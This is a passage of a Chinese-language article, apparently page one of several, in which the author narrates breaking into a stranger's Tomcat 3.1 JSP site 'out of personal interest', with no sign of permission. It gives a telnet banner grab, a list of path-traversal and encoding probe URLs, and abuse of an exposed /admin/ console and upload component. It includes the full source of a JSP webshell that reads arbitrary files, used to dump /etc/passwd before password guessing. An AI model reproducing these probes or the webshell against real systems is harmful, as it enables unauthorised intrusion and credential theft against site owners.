js|web 很偶然的一個機會,瀏覽到一個網站,頁面清新讓人感覺很舒服。網站是用JSP開發的,出於個人愛好,我決定測試一下其系統的安全性。
telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的結果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404
<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
獲得了啟動並執行WEBServer的名稱“Tomcat 3.1”。記得曾經發現過這個版本的漏洞,並且post到bugtrap上去過。
回憶一下,大概是通過“..”技術可以退出WEB目錄,於是:
http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)
看來安全狀況似乎還不錯,我們再來進行一下更深層的測試。Tomcat 3.1內建了一個管理工具,可以查看WEB下的目錄及檔案,並且可以添加context。於是嘗試:
http://target:8080/admin/
管理員果然沒有刪除或禁止訪問這個目錄,從安全的角度說,這點應該算是一個比較重要的失誤。
接著,點擊“VIEW ALL CONTEXT”按鈕,列出了WEB目錄下的一些檔案和目錄的名稱,很快發現了一個上傳檔案的組件,通過這個組件將一個JSP檔案上傳到對方的WEB目錄裡:
<%@ page import="java.io.*" %>
<%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"<br>");
}
}catch(IOException e){}
%>
然後執行:
http://target:8080/upload/test.jsp?file=/etc/passwd
密碼出來了。接下來的過程是猜測密碼,沒有成功。不過,現在相當於有了一個SHELL,猜不出密碼可以先把IE當作SHELL環境。
[1] [2] 下一頁